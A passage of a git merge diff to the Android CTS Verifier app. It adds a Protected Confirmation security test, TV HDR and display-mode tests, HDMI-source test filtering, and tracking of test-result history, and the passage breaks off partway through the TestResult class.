Merge "CTS secondary_user: CtsVoiceInteractionService"
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index af6dc5b0..c528a3d6 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -57,6 +57,7 @@
LOCAL_JAVA_LIBRARIES += android.test.base.stubs
LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
LOCAL_JAVA_LIBRARIES += voip-common
+LOCAL_JAVA_LIBRARIES += truth-prebuilt
LOCAL_PACKAGE_NAME := CtsVerifier
LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 96f2f2b..166eb89 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -54,6 +54,7 @@
<uses-feature android:name="android.hardware.vr.high_performance" android:required="false"/>
<uses-feature android:name="android.software.companion_device_setup" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
@@ -1308,6 +1309,16 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
</activity>
+ <activity android:name=".security.ProtectedConfirmationTest"
+ android:label="@string/sec_protected_confirmation_test"
+ android:configChanges="keyboardHidden|orientation|screenSize" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_security" />
+ </activity>
+
<activity android:name=".security.ScreenLockBoundKeysTest"
android:label="@string/sec_lock_bound_key_test"
android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -2082,7 +2093,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
</activity>
<activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -3177,6 +3188,34 @@
android:value="android.software.leanback" />
</activity>
+ <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
+ android:label="@string/tv_hdr_capabilities_test"
+ android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+ <meta-data android:name="test_required_features"
+ android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_hdmi_source"/>
+ </activity>
+ <activity android:name=".tv.display.DisplayModesTestActivity"
+ android:label="@string/tv_display_modes_test"
+ android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
+ <meta-data android:name="test_required_features"
+ android:value="android.software.leanback"/>
+ <meta-data android:name="test_required_configs"
+ android:value="config_hdmi_source"/>
+ </activity>
+
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
<intent-filter>
@@ -3326,7 +3365,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" />
</activity>
<!-- ProAudio test invokes the "Loopback" App -->
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.xsl b/apps/CtsVerifier/assets/report/compatibility_result.xsl
index 1e9ec31f..9dbeb51 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.xsl
+++ b/apps/CtsVerifier/assets/report/compatibility_result.xsl
@@ -229,7 +229,7 @@
<td class="failuredetails">
<div class="details">
<xsl:choose>
- <xsl:when test="$fullStackTrace=true()">
+ <xsl:when test="$fullStackTrace=true() and Failure/StackTrace != ''">
<xsl:value-of select="Failure/StackTrace" />
</xsl:when>
<xsl:otherwise>
diff --git a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
new file mode 100644
index 0000000..ffa8d46
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="10dip"
+ >
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/sec_protected_confirmation_tee_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:orientation="horizontal"
+ android:layout_centerInParent="true"
+ android:gravity="center"
+ >
+
+ <Button android:id="@+id/sec_start_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sec_protected_confirmation_tee_test"
+ />
+
+ <ImageView android:id="@+id/sec_protected_confirmation_tee_test_success"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/fs_good"
+ />
+
+ </LinearLayout>
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/sec_protected_confirmation_strongbox_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:orientation="horizontal"
+ android:layout_centerHorizontal="true"
+ android:layout_below="@id/sec_protected_confirmation_tee_layout"
+ android:gravity="center"
+ >
+
+ <Button android:id="@+id/sec_start_test_strongbox_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sec_protected_confirmation_strongbox_test"
+ />
+
+ <ImageView android:id="@+id/sec_protected_confirmation_strongbox_test_success"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/fs_good"
+ />
+
+ </LinearLayout>
+
+ <include android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentBottom="true"
+ layout="@layout/pass_fail_buttons"
+ />
+
+</RelativeLayout>
+
diff --git a/apps/CtsVerifier/res/layout/tv_item.xml b/apps/CtsVerifier/res/layout/tv_item.xml
index e7311f9..e2756ec 100644
--- a/apps/CtsVerifier/res/layout/tv_item.xml
+++ b/apps/CtsVerifier/res/layout/tv_item.xml
@@ -50,4 +50,12 @@
android:layout_toRightOf="@id/status"
android:visibility="gone" />
+ <ProgressBar
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:id="@+id/loadingSpinner"
+ android:layout_centerInParent="true"
+ android:layout_alignParentBottom="true"
+ android:visibility="invisible"/>
+
</RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0cc8db1..cfdc8ce 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -217,6 +217,23 @@
are unusable without an authentication.
</string>
+ <!-- Strings for protected confirmation test -->
+ <string name="sec_protected_confirmation_test">Android Protected Confirmation Test</string>
+ <string name="sec_protected_confirmation_test_info">
+ This test ensures that - if Android Protected Confirmation is supported by the device under
+ test - the user is able to see the confirmation message and confirm it. It also assures that
+ Keymaster signs a message with a confirmation key only if the message was previously
+ confirmed by the user.
+ </string>
+ <string name="sec_protected_confirmation_not_supported_title">Android Protected Confirmation not supported</string>
+ <string name="sec_protected_confirmation_not_supported_info">
+ Android Protected Confirmation is not implemented by this device. This is okay because this
+ is an optional feature. Set this test to passed and continue.
+ </string>
+ <string name="sec_protected_confirmation_message">This is a CtsVerifier test message!</string>
+ <string name="sec_protected_confirmation_tee_test">Start Tee Test</string>
+ <string name="sec_protected_confirmation_strongbox_test">Start Strongbox Test</string>
+
<!-- Strings for BluetoothActivity -->
<string name="bluetooth_test">Bluetooth Test</string>
<string name="bluetooth_test_info">
@@ -4330,6 +4347,45 @@
</string>
<string name="tv_microphone_device_test_no_input_devices">No input devices found.</string>
+ <!-- Common strings for the TV Display tests -->
+ <string name="tv_start_test">Start Test</string>
+
+ <!-- HDR Capabilities test -->
+ <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
+ <string name="tv_hdr_capabilities_test_info">This test checks if
+ Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
+ </string>
+ <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
+ press the "%s" button, below.
+ </string>
+ <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
+ the "%s" button, below.
+ </string>
+ <string name="tv_hdr_disconnect_display">Press the "%1$s" button
+ and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
+ reconnect the display.
+ </string>
+
+ <!-- Display Modes Test -->
+ <string name="tv_display_modes_test">Display Modes Test</string>
+ <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
+ and Display.getMode() are correctly reporting the supported screen modes.
+ </string>
+ <string name="tv_display_modes_disconnect_display">
+ Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
+ seconds and then reconnect the display.
+ </string>
+ <string name="tv_display_modes_test_step_no_display">No Display</string>
+ <string name="tv_display_modes_test_step_1080p">1080p Display</string>
+ <string name="tv_display_modes_test_step_2160p">2160p Display</string>
+ <string name="tv_display_modes_start_test_button">Start Test</string>
+ <string name="tv_display_modes_connect_2160p_display">
+ Connect a 2160p display and press the "%s" button, below.
+ </string>
+ <string name="tv_display_modes_connect_1080p_display">
+ Connect a 1080p display and press the "%s" button, below.
+ </string>
+
<string name="overlay_view_text">Overlay View Dummy Text</string>
<string name="custom_rating">Example of input app specific custom rating.</string>
@@ -4457,9 +4513,9 @@
Audio Peripheral device with standard MIDI 5-pin, DIN (round) connectors and a standard
MIDI cable. The cable must be connected to the MIDI input and output plugs on the
peripheral.
- \nFor the USB Bluetooth test it is required that you connect a Yamaha MT-BT301 to the
- correct MIDI plugs on the USB peripheral, the BT301 output jack to the USB interface
- input jack and BT301 input plug to the USB interface output jack.
+ \nFor the USB Bluetooth test it is required that you connect a Yamaha MD-BT01 to the
+ correct MIDI plugs on the USB peripheral, the BT01 output jack to the USB interface
+ input jack and BT01 input plug to the USB interface output jack.
\nThe Virtual MIDI test does not require any MIDI interface hardware.
</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 3132219..9378596 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -31,6 +31,8 @@
private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
protected TestListAdapter mAdapter;
+ // Start time of test item.
+ protected long mStartTime;
protected void setTestListAdapter(TestListAdapter adapter) {
mAdapter = adapter;
@@ -74,6 +76,8 @@
protected void handleLaunchTestResult(int resultCode, Intent data) {
if (resultCode == RESULT_OK) {
TestResult testResult = TestResult.fromActivityResult(resultCode, data);
+ testResult.getHistoryCollection().add(
+ testResult.getName(), mStartTime, System.currentTimeMillis());
mAdapter.setTestResult(testResult);
}
}
@@ -82,6 +86,7 @@
@Override
protected final void onListItemClick(ListView listView, View view, int position, long id) {
super.onListItemClick(listView, view, position, id);
+ mStartTime = System.currentTimeMillis();
handleItemClick(listView, view, position, id);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
index aa6eaba..bed5a77 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
@@ -224,7 +224,7 @@
// Bundle result in an intent to feed into handleLaunchTestResult
Intent resultIntent = new Intent();
TestResult.addResultData(resultIntent, result, test.testName, /* testDetails */ null,
- /* reportLog */ null);
+ /* reportLog */ null, null);
handleLaunchTestResult(RESULT_OK, resultIntent);
getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
}
@@ -233,7 +233,7 @@
// Bundle result in an intent to feed into handleLaunchTestResult
Intent resultIntent = new Intent();
TestResult.addResultData(resultIntent, result, testName, /* testDetails */ null,
- /* reportLog */ null);
+ /* reportLog */ null, null);
handleLaunchTestResult(RESULT_OK, resultIntent);
getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 47514b8..76019cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -27,13 +27,17 @@
import android.util.Log;
import android.widget.ListView;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
+import java.util.stream.Collectors;
/**
* {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by
@@ -89,6 +93,7 @@
* </ol>
*/
public class ManifestTestListAdapter extends TestListAdapter {
+ private static final String LOG_TAG = "ManifestTestListAdapter";
private static final String TEST_CATEGORY_META_DATA = "test_category";
@@ -106,6 +111,8 @@
private static final String CONFIG_HAS_RECENTS = "config_has_recents";
+ private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
+
private final HashSet<String> mDisabledTests;
private Context mContext;
@@ -146,12 +153,7 @@
List<TestListItem> tests = filterTests(testsByCategory.get(testCategory));
if (!tests.isEmpty()) {
allRows.add(TestListItem.newCategory(testCategory));
- Collections.sort(tests, new Comparator<TestListItem>() {
- @Override
- public int compare(TestListItem item, TestListItem otherItem) {
- return item.title.compareTo(otherItem.title);
- }
- });
+ Collections.sort(tests, Comparator.comparing(item -> item.title));
allRows.addAll(tests);
}
}
@@ -168,7 +170,7 @@
PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
int size = list.size();
- List<ResolveInfo> matchingList = new ArrayList<ResolveInfo>();
+ List<ResolveInfo> matchingList = new ArrayList<>();
for (int i = 0; i < size; i++) {
ResolveInfo info = list.get(i);
String parent = getTestParent(info.activityInfo.metaData);
@@ -181,14 +183,13 @@
}
Map<String, List<TestListItem>> getTestsByCategory(List<ResolveInfo> list) {
- Map<String, List<TestListItem>> testsByCategory =
- new HashMap<String, List<TestListItem>>();
+ Map<String, List<TestListItem>> testsByCategory = new HashMap<>();
int size = list.size();
for (int i = 0; i < size; i++) {
ResolveInfo info = list.get(i);
if (info.activityInfo == null || mDisabledTests.contains(info.activityInfo.name)) {
- Log.w("CtsVerifier", "ignoring disabled test: " + info.activityInfo.name);
+ Log.w(LOG_TAG, "ignoring disabled test: " + info.activityInfo.name);
continue;
}
String title = getTitle(mContext, info.activityInfo);
@@ -345,6 +346,19 @@
return false;
}
break;
+ case CONFIG_HDMI_SOURCE:
+ final int DEVICE_TYPE_HDMI_SOURCE = 4;
+ try {
+ if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+ return false;
+ }
+ } catch (Exception exception) {
+ Log.e(
+ LOG_TAG,
+ "Exception while looking up HDMI device type.",
+ exception);
+ }
+ break;
default:
break;
}
@@ -353,8 +367,24 @@
return true;
}
+ private static List<Integer> getHdmiDeviceType()
+ throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
+ NoSuchMethodException {
+ Method getStringMethod =
+ ClassLoader.getSystemClassLoader()
+ .loadClass("android.os.SystemProperties")
+ .getMethod("get", String.class);
+ String deviceTypesStr = (String) getStringMethod.invoke(null, "ro.hdmi.device_type");
+ if (deviceTypesStr.equals("")) {
+ return new ArrayList<>();
+ }
+ return Arrays.stream(deviceTypesStr.split(","))
+ .map(Integer::parseInt)
+ .collect(Collectors.toList());
+ }
+
List<TestListItem> filterTests(List<TestListItem> tests) {
- List<TestListItem> filteredTests = new ArrayList<TestListItem>();
+ List<TestListItem> filteredTests = new ArrayList<>();
for (TestListItem test : tests) {
if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
&& matchAllConfigs(test.requiredConfigs)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4a8004a..7776d27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -36,6 +36,10 @@
import android.widget.ImageButton;
import android.widget.Toast;
+import java.util.List;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
/**
* {@link Activity}s to handle clicks to the pass and fail buttons of the pass fail buttons layout.
*
@@ -99,14 +103,21 @@
/** @return A {@link ReportLog} that is used to record test metric data. */
ReportLog getReportLog();
+
+ /**
+ * @return A {@link TestResultHistoryCollection} that is used to record test execution time.
+ */
+ TestResultHistoryCollection getHistoryCollection();
}
public static class Activity extends android.app.Activity implements PassFailActivity {
private WakeLock mWakeLock;
private final ReportLog reportLog;
+ private final TestResultHistoryCollection mHistoryCollection;
public Activity() {
this.reportLog = new CtsVerifierReportLog();
+ this.mHistoryCollection = new TestResultHistoryCollection();
}
@Override
@@ -160,19 +171,25 @@
@Override
public void setTestResultAndFinish(boolean passed) {
PassFailButtons.setTestResultAndFinishHelper(
- this, getTestId(), getTestDetails(), passed, getReportLog());
+ this, getTestId(), getTestDetails(), passed, getReportLog(),
+ getHistoryCollection());
}
@Override
public ReportLog getReportLog() { return reportLog; }
+
+ @Override
+ public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
}
public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
private final ReportLog reportLog;
+ private final TestResultHistoryCollection mHistoryCollection;
public ListActivity() {
this.reportLog = new CtsVerifierReportLog();
+ this.mHistoryCollection = new TestResultHistoryCollection();
}
@Override
@@ -208,11 +225,15 @@
@Override
public void setTestResultAndFinish(boolean passed) {
PassFailButtons.setTestResultAndFinishHelper(
- this, getTestId(), getTestDetails(), passed, getReportLog());
+ this, getTestId(), getTestDetails(), passed, getReportLog(),
+ getHistoryCollection());
}
@Override
public ReportLog getReportLog() { return reportLog; }
+
+ @Override
+ public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
}
public static class TestListActivity extends AbstractTestListActivity
@@ -257,12 +278,27 @@
@Override
public void setTestResultAndFinish(boolean passed) {
PassFailButtons.setTestResultAndFinishHelper(
- this, getTestId(), getTestDetails(), passed, getReportLog());
+ this, getTestId(), getTestDetails(), passed, getReportLog(),
+ getHistoryCollection());
}
@Override
public ReportLog getReportLog() { return reportLog; }
+ /**
+ * Get existing test history to aggregate.
+ */
+ @Override
+ public TestResultHistoryCollection getHistoryCollection() {
+ List<TestResultHistoryCollection> histories =
+ IntStream.range(0, mAdapter.getCount())
+ .mapToObj(mAdapter::getHistoryCollection)
+ .collect(Collectors.toList());
+ TestResultHistoryCollection historyCollection = new TestResultHistoryCollection();
+ historyCollection.merge(getTestId(), histories);
+ return historyCollection;
+ }
+
public void updatePassButton() {
getPassButton().setEnabled(mAdapter.allTestsPassed());
}
@@ -274,7 +310,7 @@
@Override
public void onClick(View target) {
setTestResultAndFinish(activity, activity.getTestId(), activity.getTestDetails(),
- activity.getReportLog(), target);
+ activity.getReportLog(), activity.getHistoryCollection(), target);
}
};
@@ -399,7 +435,8 @@
/** Set the test result corresponding to the button clicked and finish the activity. */
protected static void setTestResultAndFinish(android.app.Activity activity, String testId,
- String testDetails, ReportLog reportLog, View target) {
+ String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection,
+ View target) {
boolean passed;
if (target.getId() == R.id.pass_button) {
passed = true;
@@ -409,16 +446,17 @@
throw new IllegalArgumentException("Unknown id: " + target.getId());
}
- setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog);
+ setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog, historyCollection);
}
/** Set the test result and finish the activity. */
protected static void setTestResultAndFinishHelper(android.app.Activity activity, String testId,
- String testDetails, boolean passed, ReportLog reportLog) {
+ String testDetails, boolean passed, ReportLog reportLog,
+ TestResultHistoryCollection historyCollection) {
if (passed) {
- TestResult.setPassedResult(activity, testId, testDetails, reportLog);
+ TestResult.setPassedResult(activity, testId, testDetails, reportLog, historyCollection);
} else {
- TestResult.setFailedResult(activity, testId, testDetails, reportLog);
+ TestResult.setFailedResult(activity, testId, testDetails, reportLog, historyCollection);
}
activity.finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index d9ea84f..17efb22 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -17,6 +17,7 @@
package com.android.cts.verifier;
import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
import android.content.ContentResolver;
import android.content.Context;
@@ -74,6 +75,9 @@
/** Map from test name to {@link ReportLog}. */
private final Map<String, ReportLog> mReportLogs = new HashMap<String, ReportLog>();
+ /** Map from test name to {@link TestResultHistory}. */
+ private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
+
private final LayoutInflater mLayoutInflater;
/** {@link ListView} row that is either a test category header or a test. */
@@ -192,8 +196,14 @@
}
public void setTestResult(TestResult testResult) {
- new SetTestResultTask(testResult.getName(), testResult.getResult(),
- testResult.getDetails(), testResult.getReportLog()).execute();
+ String name = testResult.getName();
+
+ // Append existing history
+ TestResultHistoryCollection histories = testResult.getHistoryCollection();
+ histories.merge(null, mHistories.get(name));
+
+ new SetTestResultTask(name, testResult.getResult(),
+ testResult.getDetails(), testResult.getReportLog(), histories).execute();
}
class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@@ -214,6 +224,8 @@
mTestDetails.putAll(result.mDetails);
mReportLogs.clear();
mReportLogs.putAll(result.mReportLogs);
+ mHistories.clear();
+ mHistories.putAll(result.mHistories);
notifyDataSetChanged();
}
}
@@ -223,16 +235,19 @@
Map<String, Integer> mResults;
Map<String, String> mDetails;
Map<String, ReportLog> mReportLogs;
+ Map<String, TestResultHistoryCollection> mHistories;
RefreshResult(
List<TestListItem> items,
Map<String, Integer> results,
Map<String, String> details,
- Map<String, ReportLog> reportLogs) {
+ Map<String, ReportLog> reportLogs,
+ Map<String, TestResultHistoryCollection> histories) {
mItems = items;
mResults = results;
mDetails = details;
mReportLogs = reportLogs;
+ mHistories = histories;
}
}
@@ -244,12 +259,14 @@
TestResultsProvider.COLUMN_TEST_RESULT,
TestResultsProvider.COLUMN_TEST_DETAILS,
TestResultsProvider.COLUMN_TEST_METRICS,
+ TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
};
RefreshResult getRefreshResults(List<TestListItem> items) {
Map<String, Integer> results = new HashMap<String, Integer>();
Map<String, String> details = new HashMap<String, String>();
Map<String, ReportLog> reportLogs = new HashMap<String, ReportLog>();
+ Map<String, TestResultHistoryCollection> histories = new HashMap<>();
ContentResolver resolver = mContext.getContentResolver();
Cursor cursor = null;
try {
@@ -261,9 +278,12 @@
int testResult = cursor.getInt(2);
String testDetails = cursor.getString(3);
ReportLog reportLog = (ReportLog) deserialize(cursor.getBlob(4));
+ TestResultHistoryCollection historyCollection =
+ (TestResultHistoryCollection) deserialize(cursor.getBlob(5));
results.put(testName, testResult);
details.put(testName, testDetails);
reportLogs.put(testName, reportLog);
+ histories.put(testName, historyCollection);
} while (cursor.moveToNext());
}
} finally {
@@ -271,7 +291,7 @@
cursor.close();
}
}
- return new RefreshResult(items, results, details, reportLogs);
+ return new RefreshResult(items, results, details, reportLogs, histories);
}
class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
@@ -287,27 +307,28 @@
class SetTestResultTask extends AsyncTask<Void, Void, Void> {
private final String mTestName;
-
private final int mResult;
-
private final String mDetails;
-
private final ReportLog mReportLog;
+ private final TestResultHistoryCollection mHistoryCollection;
SetTestResultTask(
String testName,
int result,
String details,
- ReportLog reportLog) {
+ ReportLog reportLog,
+ TestResultHistoryCollection historyCollection) {
mTestName = testName;
mResult = result;
mDetails = details;
mReportLog = reportLog;
+ mHistoryCollection = historyCollection;
}
@Override
protected Void doInBackground(Void... params) {
- TestResultsProvider.setTestResult(mContext, mTestName, mResult, mDetails, mReportLog);
+ TestResultsProvider.setTestResult(
+ mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
return null;
}
}
@@ -382,6 +403,19 @@
: null;
}
+ /**
+ * Get test result histories.
+ *
+ * @param position The position of test.
+ * @return A {@link TestResultHistoryCollection} object containing test result histories of tests.
+ */
+ public TestResultHistoryCollection getHistoryCollection(int position) {
+ TestListItem item = getItem(position);
+ return mHistories.containsKey(item.testName)
+ ? mHistories.get(item.testName)
+ : null;
+ }
+
public boolean allTestsPassed() {
for (TestListItem item : mRows) {
if (item.isTest() && (!mTestResults.containsKey(item.testName)
@@ -451,7 +485,7 @@
}
}
- private static Object deserialize(byte[] bytes) {
+ public static Object deserialize(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return null;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 07208dd..9f867d5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -17,6 +17,7 @@
package com.android.cts.verifier;
import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
import android.app.Activity;
import android.content.Intent;
@@ -38,11 +39,13 @@
private static final String TEST_RESULT = "result";
private static final String TEST_DETAILS = "details";
private static final String TEST_METRICS = "metrics";
+ private static final String TEST_HISTORY_COLLECTION = "historyCollection";
private final String mName;
private final int mResult;
private final String mDetails;
private final ReportLog mReportLog;
+ private final TestResultHistoryCollection mHistoryCollection;
/** Sets the test activity's result to pass. */
public static void setPassedResult(Activity activity, String testId, String testDetails) {
@@ -53,7 +56,14 @@
public static void setPassedResult(Activity activity, String testId, String testDetails,
ReportLog reportLog) {
activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
- testDetails, reportLog));
+ testDetails, reportLog, null /*history*/));
+ }
+
+ /** Sets the test activity's result to pass including a test report log result and history. */
+ public static void setPassedResult(Activity activity, String testId, String testDetails,
+ ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+ activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
+ testDetails, reportLog, historyCollection));
}
/** Sets the test activity's result to failed. */
@@ -65,22 +75,30 @@
public static void setFailedResult(Activity activity, String testId, String testDetails,
ReportLog reportLog) {
activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
- testDetails, reportLog));
+ testDetails, reportLog, null /*history*/));
+ }
+
+ /** Sets the test activity's result to failed including a test report log result and history. */
+ public static void setFailedResult(Activity activity, String testId, String testDetails,
+ ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+ activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
+ testDetails, reportLog, historyCollection));
}
public static Intent createResult(Activity activity, int testResult, String testName,
- String testDetails, ReportLog reportLog) {
+ String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
Intent data = new Intent(activity, activity.getClass());
- addResultData(data, testResult, testName, testDetails, reportLog);
+ addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
return data;
}
public static void addResultData(Intent intent, int testResult, String testName,
- String testDetails, ReportLog reportLog) {
+ String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
intent.putExtra(TEST_NAME, testName);
intent.putExtra(TEST_RESULT, testResult);
intent.putExtra(TEST_DETAILS, testDetails);
intent.putExtra(TEST_METRICS, reportLog);
+ intent.putExtra(TEST_HISTORY_COLLECTION, historyCollection);
}
/**
@@ -92,15 +110,20 @@
int result = data.getIntExtra(TEST_RESULT, TEST_RESULT_NOT_EXECUTED);
String details = data.getStringExtra(TEST_DETAILS);
ReportLog reportLog = (ReportLog) data.getSerializableExtra(TEST_METRICS);
- return new TestResult(name, result, details, reportLog);
+ TestResultHistoryCollection historyCollection =
+ (TestResultHistoryCollection) data.getSerializableExtra(TEST_HISTORY_COLLECTION);
+ return new TestResult(name, result, details, reportLog, historyCollection);
}
private TestResult(
